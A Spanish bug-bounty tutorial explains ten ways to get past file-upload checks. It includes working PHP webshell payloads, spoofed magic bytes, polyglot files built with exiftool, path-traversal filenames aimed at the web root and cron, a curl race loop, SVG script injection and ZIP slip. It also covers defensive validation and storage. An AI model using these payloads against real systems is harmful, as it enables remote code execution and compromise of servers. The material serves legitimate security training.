Nivel IntermedioGratis

File Upload — bypasses de extension, content-type y magic bytes

10 bypasses para subir webshells: doble extensión, null byte, content-type spoof, magic bytes, polyglots, race conditions y abuso de path traversal.

Gorka El Bochi9 de mayo de 202613 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

File upload vulnerable cuando el servidor acepta archivos sin validar correctamente su contenido y los sirve desde un path donde se ejecutan. RCE directo si subes una webshell a un directorio web servido por el motor (PHP, ASP, JSP). Los bypasses se centran en: extension list incompleta, content-type confiable, magic bytes spoofeables, doble extensión, null bytes, path traversal en filename, y race conditions en validators secuenciales.


El árbol de defensas

Un endpoint upload "seguro" debería validar:

  1. Extension del archivo (whitelist de extensiones permitidas).
  2. Content-Type (declarado en multipart).
  3. Magic bytes del contenido real.
  4. Tamaño máximo.
  5. Filename sanitization (no path traversal, no null bytes).
  6. Storage path no ejecutable (no servir desde el web root).
  7. Filename randomization (no permitir nombres del cliente).

Si CUALQUIERA falla, hay vector. La mayoría de apps fallan en al menos 2-3.


10 bypasses prácticos

1. Lista negra incompleta

Si bloquean .php pero no:

arduino
shell.phtml      → ejecuta PHP en Apache con default config
shell.phar       → archivo PHP
shell.pht        → ejecuta como PHP
shell.php3 / .php4 / .php5 / .php7
shell.pHp        → case sensitive en algunos
shell.php.png    → con ApacheDoubleExt habilitado

2. Doble extensión

Cuando Apache se configura con AddHandler application/x-httpd-php .php:

css
shell.php.png       → si Apache reconoce .php en cualquier punto del filename, ejecuta
shell.phar.png

3. Null byte (apps legacy)

perl
shell.php%00.png    → en parsers que usan funciones C, %00 corta el string
shell.php\x00.jpg

PHP < 5.3.4 vulnerable. Aún se ve en sistemas no parcheados.

4. Content-Type spoof

El cliente declara el Content-Type en multipart. Si el servidor solo confía en eso:

http
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>

Si solo valida Content-Type: image/*, pasa.

5. Magic bytes spoof

Si valida con magic bytes del PNG (\x89PNG):

php
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']); ?>

Algunos parsers solo miran los primeros 8 bytes. El resto se interpreta como PHP cuando se ejecuta como tal.

GIF también común:

php
GIF89a;
<?php system($_GET['cmd']); ?>

6. Polyglot files

Archivos válidos en dos formatos. Ej.: PHP+JPG válido para libimage pero también ejecutable como PHP:

bash
# Crear polyglot
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg
mv image.jpg shell.php   # luego renombrar si extension permite

7. Path traversal en filename

Si el filename se escribe en un path:

ini
filename = "../../../../var/www/html/shell.php"
filename = "../../etc/cron.d/exec"
filename = "..%2f..%2f..%2fvar%2fwww%2fhtml%2fshell.php"

Escribe en directorio arbitrario.

8. Race condition entre upload y validación

Algunos endpoints:

  1. Guardan el archivo.
  2. Lo escanean (antivirus, content check).
  3. Si falla, lo eliminan.

Si el archivo es servible HTTP entre paso 1 y paso 3, accede en esa ventana:

bash
# Subir + acceder en bucle hasta que esté
while true; do curl https://target.tld/uploads/shell.php; done

9. SVG con script (subido como imagen)

SVG es XML. Permite <script> o <iframe> que ejecutan en el contexto del dominio que sirve la imagen:

xml
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

Si la app sirve SVG sin sanitizar y se carga en página del propio dominio (avatar, logo) → Stored XSS.

10. ZIP slip / archive extraction

Si el upload es ZIP que se extrae server-side:

python
zip con archivo "../../../../etc/cron.d/exec"

Sin validación, escribe en filesystem arbitrario al extraer.


Validación de magic bytes — patrón correcto

python
def validate_image(file_bytes):
    # Extender lista de magics esperados
    magics = {
        'png': b'\x89PNG\r\n\x1a\n',
        'jpeg': b'\xff\xd8\xff',
        'gif': b'GIF89a',
    }

    # Identificar tipo real
    for fmt, magic in magics.items():
        if file_bytes.startswith(magic):
            # Re-encode con librería confiable para descartar payloads embebidos
            from PIL import Image
            from io import BytesIO
            img = Image.open(BytesIO(file_bytes))
            img.verify()
            # Re-save (esto destruye payloads PHP embebidos)
            output = BytesIO()
            img.save(output, format=fmt.upper())
            return output.getvalue()
    raise ValueError("Not a valid image")

El truco clave: re-encodar la imagen tras validar. Eso destruye cualquier payload extraño embebido entre el magic byte y el final.


Otros impactos posibles (no solo RCE)

  • Stored XSS vía SVG/HTML upload servido en mismo dominio.
  • Account takeover si el avatar se sirve en <img> y permite XSS → roba sesión.
  • DoS vía archivos masivos / ZIP bomb.
  • Phishing si el dominio sirve PDFs que se confunden con originales.
  • CSRF storage si el archivo se sirve como HTML+CSRF token.

Storage path correctly

Las apps modernas suelen:

  1. Subir a un bucket S3/GCS (no en el filesystem del web server).
  2. Servir vía CDN con dominio separado (cdn.target.tld con headers limitados).
  3. Forzar Content-Disposition: attachment para downloads (impide ejecución inline).

Cualquier desviación de esto = vector probable.


Hunting checklist

  • ¿El endpoint valida solo extensión, solo content-type, o ambos?
  • ¿Probar .php, .phtml, .phar, .pht, .php5, mayúsculas mezcladas?
  • ¿Doble extensión .php.png? (Apache mal configurado).
  • ¿Magic bytes spoofeable? Subir PNG válido + payload PHP al final.
  • ¿SVG aceptado? Probar <script> embebido.
  • ¿Path traversal en filename? ../../shell.php.
  • ¿Filename del cliente se respeta o se randomiza?
  • ¿Storage path es servido por el web server con execution?
  • ¿Race condition entre upload y antivirus/scan?
  • ¿ZIP/archive uploads sin validar contenido extraído?

Labs relacionados

Practica los 10 bypasses contra apps reales con validación parcial: labs de File Upload.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

File Upload

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.